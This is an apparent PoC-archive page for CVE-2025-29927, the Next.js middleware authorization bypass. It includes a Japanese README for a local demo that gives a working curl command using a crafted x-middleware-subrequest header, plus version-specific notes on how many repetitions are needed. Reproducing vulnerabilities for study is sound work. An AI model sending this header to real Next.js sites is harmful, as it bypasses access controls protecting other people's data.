Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2025-29927 PoC — Authorization Bypass in Next.js Middleware

Source
Associated Vulnerability
Title: Authorization Bypass in Next.js Middleware (CVE-2025-29927)
Description:Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.
Description
Next.js における認可バイパスの脆弱性を再現するデモです。
Readme
# cve-2025-29927-demo

Next.js における認可バイパスの脆弱性を再現するデモです。

当該脆弱性についての詳細は **[Next.jsの脆弱性CVE-2025-29927まとめ](https://zenn.dev/t3tra/articles/c293410c7daf63)** を参照してください。

## 脆弱性の再現方法

1. このリポジトリをクローンします。

```bash
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
git pull origin main
cd cve-2025-29927-demo
```

2. サーバーを起動します。

```bash
npm install
npm run dev
```

3. `curl` 等を用いて `x-middleware-subrequest` ヘッダーを付与したリクエストを送信します。

```bash
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected
```

これにより認可バイパスが発生し、`/protected` ページにアクセスできるようになります。

`middleware` の値は Next.js が認識するミドルウェアの名前です。このデモアプリでは `middleware` という名前のミドルウェアが存在しているため、この値を指定することで認可バイパスが発生します。

> [!TIP]
> Next.js 15.x では `MAX_RECURSION_DEPTH` が 5 に設定されているため、middleware の値を 5 回以上 `:` で区切って繰り返す必要があります。古いバージョン (14.x) では単に「 middleware 」だけで十分でした。このデモアプリでは Next.js 15.2.2 が使用されているため、このような値が必要です。
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →